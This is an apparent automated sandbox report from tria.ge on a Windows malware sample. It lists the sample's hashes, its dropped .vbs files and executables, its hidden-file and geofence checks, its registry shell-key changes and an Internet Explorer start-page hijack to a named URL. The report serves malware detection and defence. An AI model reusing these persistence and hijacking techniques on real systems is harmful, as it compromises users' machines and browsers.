Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
93s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
19/09/2022, 05:18
Static task
static1
Behavioral task
behavioral1
Sample
81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
Resource
win10v2004-20220901-en
General
-
Target
81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe
-
Size
498KB
-
MD5
bf7a015db3f886fa52cb9bb317b05872
-
SHA1
a2e40225fb1be410c640269df6099d5bff1598b5
-
SHA256
81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e
-
SHA512
cc718273de3c9124a1585d6d495db64d6d503101178b1665a4898a9a5b8a1111fd45cf216b0a12a1af970ef6707dcb413e60359ad54c726f90fa92b623a5480e
-
SSDEEP
6144:I6rCnplOxq8VxTfFDbRnOTrt5JGXfEdyCwaeVEuClROTfFDbRnOTrt5JOTfFDbRW:IVbG5OcqyCwrVEum+5Oi5OV
Malware Config
Signatures
-
Executes dropped EXE 5 IoCs
pid Process 340 adminlog.exe 2980 syslog.exe 2136 setup.exe.exe 1164 youbei.exe.exe 2656 f42r.exe -
Sets file to hidden 1 TTPs 4 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 3944 attrib.exe 3504 attrib.exe 4448 attrib.exe 2284 attrib.exe -
Checks computer location settings 2 TTPs 5 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation youbei.exe.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation adminlog.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation wscript.exe -
Drops file in System32 directory 49 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\odbcad32.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\msinfo32.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\taskmgr.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\Control.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\SnippingTool.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\WFS.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\cleanmgr.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\Control.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\mstsc.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\msconfig.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\notepad.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\perfmon.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell_ISE.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\osk.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\SnippingTool.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\msconfig.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell_ISE.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\magnify.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\iscsicpl.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\MdSched.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\msinfo32.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\cmd.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\quickassist.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\psr.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\dfrgui.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\iscsicpl.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\RecoveryDrive.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\taskmgr.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\magnify.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\osk.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\mspaint.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\quickassist.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\MdSched.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\RecoveryDrive.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\narrator.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\cmd.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\mstsc.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\psr.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\dfrgui.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\perfmon.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\odbcad32.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\narrator.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\control.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\notepad.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\SysWOW64\mspaint.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\WFS.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\SysWOW64\cleanmgr.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\Kingsoft\myfile\__tmp_rar_sfx_access_check_240590906 adminlog.exe File created C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\Kingsoft\myfile\starts.vbs attrib.exe File opened for modification C:\Program Files (x86)\Common Files\360Safe.exe 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\Kingsoft\myfile\open.vbs adminlog.exe File created C:\Program Files (x86)\Java\jre1.8.0_66\bin\javacpl.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files (x86)\Common Files\Microsoft\AppVLP.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files (x86)\C35FD.exe 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\Kingsoft\myfile\tool.cmd adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\fav\fav.cmd adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\tool.cmd attrib.exe File opened for modification C:\Program Files\Kingsoft\myfile\open.vbs attrib.exe File created C:\PROGRA~2\WINDOW~4\wmplayer.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files (x86)\Google\Chrome\Application\chrome.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files\Kingsoft\myfile\open.vbs adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\fav\fav.vbs adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\fav\淘宝购物.url adminlog.exe File created C:\Program Files (x86)\Common Files\Microsoft\EXCEL.EXE.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\Kingsoft\myfile\Microsoft\bot.vbs attrib.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft\SETLANG.EXE.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\Kingsoft\myfile\se.vbs adminlog.exe File created C:\Program Files (x86)\Common Files\Microsoft\javacpl.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files (x86)\Common Files\Microsoft\SETLANG.EXE.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files (x86)\Common Files\Microsoft\msoev.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files\Kingsoft\myfile\360.cmd adminlog.exe File opened for modification C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files (x86)\Common Files\Microsoft\WINWORD.EXE.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\mip.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files\winrar\tao2.ico cmd.exe File created C:\PROGRA~1\VideoLAN\VLC\vlc.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files\Kingsoft\myfile\Internet Expl0rer.lnk adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\Microsoft\bot.vbs adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\fav adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\fav\tao2.ico adminlog.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft\WINWORD.EXE.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\PROGRA~1\7-Zip\7zFM.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files\Windows NT\se.vbs cmd.exe File created C:\Program Files (x86)\C35FD.exe 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files\Kingsoft\myfile\starts.vbs adminlog.exe File created C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft\msoev.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files (x86)\Common Files\Microsoft\jmc.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft\jmc.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files (x86)\Common Files\Microsoft\chrome.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\Kingsoft\myfile\se1.vbs adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\fav\网址导航.url adminlog.exe File opened for modification C:\Program Files\Kingsoft\myfile\fav\软件下载.url adminlog.exe File opened for modification C:\PROGRA~1\7-Zip\7zFM.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\PROGRA~1\MOZILL~1\firefox.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Program Files\Kingsoft\myfile\file.vbs adminlog.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft\sapisvr.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\winrar\tao2.ico cmd.exe File created C:\Program Files (x86)\Common Files\360Safe.exe 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft\chrome.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\Kingsoft\myfile\36O安全浏览器 3.lnk adminlog.exe File created C:\Program Files\Kingsoft\myfile\se1.vbs adminlog.exe File created C:\Program Files\Kingsoft\myfile\fav\软件下载.url adminlog.exe File created C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Program Files\Windows NT\se1.vbs cmd.exe File created C:\Program Files\Kingsoft\myfile\tool.cmd adminlog.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\Speech\Common\sapisvr.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File created C:\Windows\regedit.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe File opened for modification C:\Windows\regedit.exe.vbs 81831bb50cf92c9bfdc6b089102f89f5c95229a1f7eb2c064af750abe0b87e8e.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 4996 2980 WerFault.exe 136 -
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50946918f8cbd801 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30985208" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0b33e18f8cbd801 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30985208" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main reg.exe Set value (data) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000043e2eb2e51ccf149ab640c8bdb0d79060000000002000000000010660000000100002000000084d22d91f43bfed325a4796211172651cccbd34b70b6e059f41f10fd8efda2cb000000000e8000000002000020000000926f48011db5d0d1228815e050117de0214fad061a08be12c355377e9b1bd38120000000be334708bbd1ef0f42b4c4622540e1fc64030ab17b484ccdb8f9b5aa64cf8e524000000039b5f72d503eadb39989c8cd389fa2e5f28913c57dc32ba782b341b02d25d30cd4170d7a87c183dcd4c10618c6397118328c4d165d6b6ca7a02e10b0a086e617 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main reg.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "370336878" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30985208" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "340675359" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "332394461" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{3F47617F-37EB-11ED-A0EE-7A46CE8ECE48} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Default_Page_URL = "http://www.9281.net/?cmd" reg.exe Set value (int) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "332394461" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000043e2eb2e51ccf149ab640c8bdb0d7906000000000200000000001066000000010000200000004a73de3198c1a0e96e2dec760682159e797ff218901a06c8c106dd70477fc424000000000e80000000020000200000007405e2fe96b0fb22be5a1c2d5aeb2dd8682adbdbd811678883d4bdee23919a5f20000000fa052a1f0f38bce12ed33d80b5666801a1502594ea95abad6ec9ce1f4f6897d040000000ab34254c79c9e50efbd6ea14dfbf0ae603ce3b8d5c643621afe47135fd0c0fdfe954d00ec2643433b44c588412705403b3d6896ab87c396844b04bfeb6c76c11 iexplore.exe -
Modifies Internet Explorer start page 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page = "http://www.9281.net/?cmd" reg.exe -
Modifies registry class 45 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\MUIVerb = "@shdoclc.dll,-10241" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\╩⌠╨╘(&R)\Command reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder reg.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings adminlog.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC} reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\InProcServer32 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\shell\┤≥┐¬╓≈╥│(&H)\Command reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder\Attributes = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DCCCC}\ShellFolder reg.exe Set value (str) 